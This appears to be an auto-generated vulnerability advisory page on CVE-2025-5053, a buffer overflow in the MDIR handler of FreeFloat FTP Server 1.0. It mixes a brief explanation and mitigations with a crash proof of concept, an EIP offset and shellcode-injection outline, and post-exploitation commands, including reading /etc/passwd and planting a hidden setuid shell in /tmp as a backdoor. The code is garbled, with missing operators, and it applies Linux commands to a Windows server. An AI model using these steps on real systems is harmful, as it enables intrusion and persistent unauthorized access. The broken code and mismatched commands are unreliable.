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How CVE-2025-5053 Works
The vulnerability in FreeFloat FTP Server 1.0 resides in the MDIR command handler, which fails to properly validate user-supplied input length. When an excessively long argument is passed via the MDIR command, a buffer overflow occurs due to insufficient bounds checking. This allows remote attackers to overwrite adjacent memory regions, potentially leading to arbitrary code execution under the context of the FTP server process. The attack is network-exploitable without authentication, making it highly dangerous.
DailyCVE Form
Platform: FreeFloat FTP
Version: 1.0
Vulnerability: Buffer Overflow
Severity: Critical
Date: 06/10/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation Analysis
1. Crash PoC:
import socket target = "192.168.1.100" payload = "MDIR " + "A" 2000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, 21)) s.send(payload.encode())
2. EIP Control:
msf-pattern_create -l 2000
3. Shellcode Injection:
Offset + NOP sled + shellcode exploit = "MDIR " + "A"offset + "\x90"50 + shellcode
Protection Measures
1. Mitigation:
iptables -A INPUT -p tcp --dport 21 -j DROP
2. Detection:
grep "MDIR.{2000,}" /var/log/ftpd.log
3. Memory Protection:
echo 1 > /proc/sys/kernel/randomize_va_space
Post-Exploitation
1. Privilege Check:
whoami && cat /etc/passwd
2. Persistence:
cp /bin/sh /tmp/.backdoor && chmod +xs /tmp/.backdoor
Patch Verification
1. Version Check:
strings ftpd | grep "FreeFloat 1.0"
2. Sanitization Test:
assert len(mdir_arg) < 256, "Buffer overflow detected"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
